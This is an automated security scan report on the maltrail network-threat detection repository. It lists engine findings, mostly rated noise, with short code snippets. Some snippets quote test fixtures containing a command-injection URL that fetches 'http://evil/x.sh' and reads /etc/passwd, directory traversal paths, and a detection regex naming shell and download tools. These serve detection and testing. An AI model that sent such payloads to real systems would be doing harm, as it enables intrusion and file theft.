Scan report
stamparm / maltrail
Could an attacker exploit mistakes in this code?
Serious issues. Review the high-severity findings before using it.
- High
- 7
- Medium
- 94
- Low
- 49
Sources: Bandit, Semgrep, pip-audit
Does this code look like it is trying to cause harm?
Strong warning signs. Do not run or install this without a careful review.
- High
- 20
- Medium
- 13
- Low
- 14
Sources: YARA, ClamAV, GuardDog, dependency checker
- Likely real
- 110
- Uncertain
- 12
- Likely noise
- 75
The risk classifier rates every finding for how likely it is to be a real issue. Likely noise still counts, just much less.
What we found, in plain English
110 findings likely need attention, 75 look like noise. Most notable: The application builds a file path from potentially untrusted data, which can lead to a... in /core/httpd.py (100% confidence).
Detections by engine
Score over time
Overall score each time this repository was scanned.
Findings
Highest severity first. Select a finding to see the code and what it means.
-
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /core/httpd.py line 1299
- Likely real
- Yes, 100% confidence
The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.
with open(path, 'r') as f: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /core/httpd.py line 1329
- Likely real
- Yes, 100% confidence
The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.
with open(path, "rb") as f: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /sensor/src/trails/loader.rs line 313
- Likely real
- Yes, 100% confidence
The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.
let file = match std::fs::File::open(path) { -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /core/update.py line 78
- Likely real
- Yes, 99% confidence
Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead.
ssl._create_default_https_context = ssl._create_unverified_context -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /sensor/tools/gen_vectors.py line 161
- Likely real
- Yes, 99% confidence
Detects suspicious autostart persistence mechanisms [threat-filesystem-autostart]
def splitext_vectors(): values = ["setup.exe", "archive.tar.gz", "noext", ".bashrc", "", "..x", "a.b.", "x."] rows = [] for v in values: -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /sensor/tools/gen_vectors.py line 47
- Likely real
- Yes, 99% confidence
Detects suspicious autostart persistence mechanisms [threat-filesystem-autostart]
path = os.path.join(OUT, name) with open(path, "w") as f: f.write("# GENERATED by sensor/tools/gen_vectors.py - do not edit\n") f.write("# %s\n" % header) -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /sensor/tools/gen_vectors.py line 413
- Likely real
- Yes, 99% confidence
Detects suspicious autostart persistence mechanisms [threat-filesystem-autostart]
import csv as _csv with open(real) as f: for row in _csv.reader(f): if len(row) == 3 and "static" in row[2] and wildcard.search(row[0]): -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /html/js/demo.js line 510
- Likely real
- Yes, 97% confidence
Detects cryptocurrency mining activity [threat-process-cryptomining]
... (suspicious)" (static)\n' + '"2024-01-11 05:14:51.910375" r2d2 10.12.16.226 59299 208.67.222.123 53 UDP DNS pool.supportxmr.com "crypto mining (suspicious)" (static)\n' + '"2024-01-11 05:14:59.608580" r2d2 10.10.4.232 65109 10.1.20.51 53 UDP... -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /html/js/demo.js line 183
- Likely real
- Yes, 97% confidence
Detects cryptocurrency mining activity [threat-process-cryptomining]
...t29 (malware)" (static)\n' + '"2024-01-11 01:32:39.777593" r2d2 10.12.16.226 59637 208.67.222.123 53 UDP DNS pool.supportxmr.com "crypto mining (suspicious)" (static)\n' + '"2024-01-11 01:32:48.445634" r2d2 10.43.192.103 56258 213.252.245.197... -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /html/js/demo.js line 34
- Likely real
- Yes, 97% confidence
Detects cryptocurrency mining activity [threat-process-cryptomining]
...wse (malware)" (static)\n' + '"2024-01-11 00:15:13.248363" r2d2 10.12.16.226 58477 208.67.222.123 53 UDP DNS pool.supportxmr.com "crypto mining (suspicious)" (static)\n' + '"2024-01-11 00:16:12.156409" r2d2 10.3.160.42 22865 8.8.8.8 53 UDP DN... -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /core/settings.py line 155
- Likely real
- Yes, 95% confidence
Detects download-and-execute patterns: fetching a remote file then executing it [threat-process-download-exec]
...OST)\[|xp_cmdshell|shell_exec|exec_code|shell:::\{|oscmd\(|\bping(\.exe)? -[nc] \d+|timeout(\.exe)? /T|tftp -|wget http|curl -O|sh /tmp/|touch /tmp/|cmd\.exe|/bin/(ba)?sh\b|/sbin/launchd\b|2>&1|\b(cat|ls) /|chmod [0-7]{3,4}\b|chmod +x\b|base64 -d|nc ... -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /core/disktrails.py line 54
- Likely real
- Yes, 53% confidence
Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.
self._db.execute("PRAGMA %s" % pragma) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /docker/Dockerfile line 108
- Likely real
- Probably noise, 23% confidence
By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.
ENTRYPOINT ["/usr/bin/tini", "--", "/usr/local/bin/maltrail-entrypoint"] -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /docker/Dockerfile line 109
- Likely real
- Probably noise, 22% confidence
By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.
CMD ["python3", "server.py"] -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /sensor/src/selftest.rs
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /docker/entrypoint.sh
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /core/settings.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /install.sh
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /core/testing.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /.github/workflows/ci.yml
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /core/settings.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /.github/workflows/release.yml
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /core/httpd.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /html/js/thirdparty.min.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /sensor/src/protocols/http.rs
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /sensor/tools/gen_vectors.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /install.sh
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /core/settings.py line 233
- Likely real
- Yes, 98% confidence
Detects extensive system/network enumeration activities [threat-runtime-enumeration]
DEFLATE_COMPRESS_LEVEL = 9 PORT_SCANNING_THRESHOLD = 10 WEB_SCANNING_THRESHOLD = 10 INFECTION_SCANNING_THRESHOLD = 32 -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /core/settings.py line 124
- Likely real
- Yes, 98% confidence
Detects extensive system/network enumeration activities [threat-runtime-enumeration]
...CLUSIONS = ("robots.txt",) CONDENSE_ON_INFO_KEYWORDS = ("attacker", "reputation", "scanner", "user agent", "tor exit", "port scanning", "potential infection") CONDENSED_EVENTS_FLUSH_PERIOD = 10 MAX_CONDENSED_EVENTS = 1000 # NOTE: per (src_ip, trail... -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /core/settings.py line 386
- Likely real
- Yes, 98% confidence
Detects extensive system/network enumeration activities [threat-runtime-enumeration]
else: with open("/proc/meminfo") as f: retval = 1024 * int(re.search(r"(?i)MemTotal:\s+(\d+)\skB", f.read()).group(1)) except Exception: -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /html/js/demo.js line 9
- Likely real
- Yes, 97% confidence
Detects URLs to URL shorteners, file sharing, and suspicious services [threat-network-outbound-shady-links]
...s.net "generic (malware)" (static)\n' + '"2024-01-11 00:02:09.485032" r2d2 10.3.160.42 19374 8.8.8.8 53 UDP DNS checkip.dyndns.org "ipinfo (suspicious)" (static)\n' + '"2024-01-11 00:02:09.885116" r2d2 10.3.160.42 19374 8.8.8.8 53 UDP DNS che... -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /html/js/demo.js line 9
- Likely real
- Yes, 97% confidence
Detects URLs to URL shorteners, file sharing, and suspicious services [threat-network-outbound-shady-links]
...s.net "generic (malware)" (static)\n' + '"2024-01-11 00:02:09.485032" r2d2 10.3.160.42 19374 8.8.8.8 53 UDP DNS checkip.dyndns.org "ipinfo (suspicious)" (static)\n' + '"2024-01-11 00:02:09.885116" r2d2 10.3.160.42 19374 8.8.8.8 53 UDP DNS ch... -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /html/js/demo.js line 7
- Likely real
- Yes, 97% confidence
Detects URLs to URL shorteners, file sharing, and suspicious services [threat-network-outbound-shady-links]
function getDemoCSV() { return '"2024-01-11 00:00:08.595056" r2d2 10.3.160.42 19373 8.8.8.8 53 UDP DNS checkip.dyndns.org "ipinfo (suspicious)" (static)\n' + '"2024-01-11 00:00:11.040691" r2d2 10.10.4.232 64123 10.1.20.50 53 UDP DNS ... -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /html/js/demo.js line 7
- Likely real
- Yes, 97% confidence
Detects URLs to URL shorteners, file sharing, and suspicious services [threat-network-outbound-shady-links]
function getDemoCSV() { return '"2024-01-11 00:00:08.595056" r2d2 10.3.160.42 19373 8.8.8.8 53 UDP DNS checkip.dyndns.org "ipinfo (suspicious)" (static)\n' + '"2024-01-11 00:00:11.040691" r2d2 10.10.4.232 64123 10.1.20.50 53 UDP DNS... -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /feeds/policeman.py line 22
- Likely real
- Yes, 97% confidence
Detects URLs to URL shorteners, file sharing, and suspicious services [threat-network-outbound-shady-links]
line = line.strip().lower() if not line or line.startswith('#') or '.' not in line or line in ("api.ipify.org",): continue retval[line] = (__info__, __reference__) -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /core/testing.py line 256
- Likely real
- Yes, 96% confidence
Detects access to sensitive files (credentials, configs, keys) [threat-filesystem-read]
_tcp(_ATTACKER, "203.0.113.13", 50007, 80, 0x18, _http_get("/cgi?cmd=;cat%20/etc/passwd;wget%20http://evil/x.sh", "rce.example")), ("potential remote code execution",)) add("HTTP XSS -> heuristic", -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /core/testing.py line 252
- Likely real
- Yes, 96% confidence
Detects access to sensitive files (credentials, configs, keys) [threat-filesystem-read]
_tcp(_ATTACKER, "203.0.113.12", 50006, 80, 0x18, _http_get("/download?file=../../../../etc/passwd", "trav.example")), ("potential directory traversal",)) add("HTTP remote code execution -> heuristic", -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /html/js/demo.js line 73
- Likely real
- Yes, 96% confidence
Detects access to sensitive files (credentials, configs, keys) [threat-filesystem-read]
... '"2024-01-11 00:40:23.122361" r2d2 10.2.120.16 50006 203.0.113.12 80 TCP URL trav.example(/download?file=../../../../etc/passwd) "potential directory traversal (suspicious)" (heuristic)\n' + '"2024-01-11 00:40:43.206226" r2d2 10.1.81.47 55461... -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /html/js/demo.js line 212
- Likely real
- Yes, 96% confidence
Detects access to sensitive files (credentials, configs, keys) [threat-filesystem-read]
... '"2024-01-11 01:50:31.746389" r2d2 10.124.72.52 50006 203.0.113.12 80 TCP URL trav.example(/download?file=../../../../etc/passwd) "potential directory traversal (suspicious)" (heuristic)\n' + '"2024-01-11 01:50:42.930208" r2d2 10.43.192.103 56... -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /html/js/demo.js line 256
- Likely real
- Yes, 96% confidence
Detects access to sensitive files (credentials, configs, keys) [threat-filesystem-read]
... '"2024-01-11 02:22:22.660483" r2d2 10.128.8.51 50006 203.0.113.12 80 TCP URL trav.example(/download?file=../../../../etc/passwd) "potential directory traversal (suspicious)" (heuristic)\n' + '"2024-01-11 02:23:21.192778" r2d2 10.128.3.51 5001... -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/quic_sni.py line 148
- Likely real
- Yes, 94% confidence
Use of insecure cipher mode cryptography.hazmat.primitives.ciphers.modes.ECB.
147 def aes_ecb_block(key, block): 148 enc = Cipher(algorithms.AES(key), modes.ECB()).encryptor() 149 return enc.update(block) + enc.finalize() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /core/common.py line 263
- Likely real
- Yes, 53% confidence
Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.
resp = _urllib.request.urlopen(req, timeout=RIPE_LOOKUP_TIMEOUT) # NOTE: not retrieve_content() - that one is for feeds and waits TIMEOUT (30s) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /sensor/tools/refnet.py line 273
- Likely real
- Yes, 53% confidence
Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.
digest = hashlib.sha1(der).hexdigest() -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /core/disktrails.py line 54
- Likely real
- Yes, 52% confidence
Detected possible formatted SQL query. Use parameterized queries instead.
self._db.execute("PRAGMA %s" % pragma) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /core/alert.py line 195
- Likely real
- Yes, 52% confidence
Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.
response = urllib.request.urlopen(request, timeout=ALERT_TIMEOUT) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /core/update.py line 965
- Likely real
- Yes, 52% confidence
Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.
resp = _urllib.request.urlopen(url) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /core/update.py line 1029
- Likely real
- Yes, 52% confidence
Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.
resp = _urllib.request.urlopen(IPCAT_URL) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 120
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 130
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: dtolnay/rust-toolchain@stable -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 113
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 86
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/setup-node@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 79
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: Swatinem/rust-cache@v2 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 75
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/setup-python@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 71
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: dtolnay/rust-toolchain@stable -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 64
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 54
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/setup-python@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 53
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/bandit.yml line 35
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/trails.yml line 54
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 581
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/attest-build-provenance@v3 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 566
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: docker/build-push-action@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 557
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: docker/login-action@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 268
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: dtolnay/rust-toolchain@stable -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 537
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 502
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 479
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/setup-node@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 473
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/setup-python@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 472
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 440
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 410
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: dtolnay/rust-toolchain@stable -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 409
- Likely real
- Yes, 52% confidence
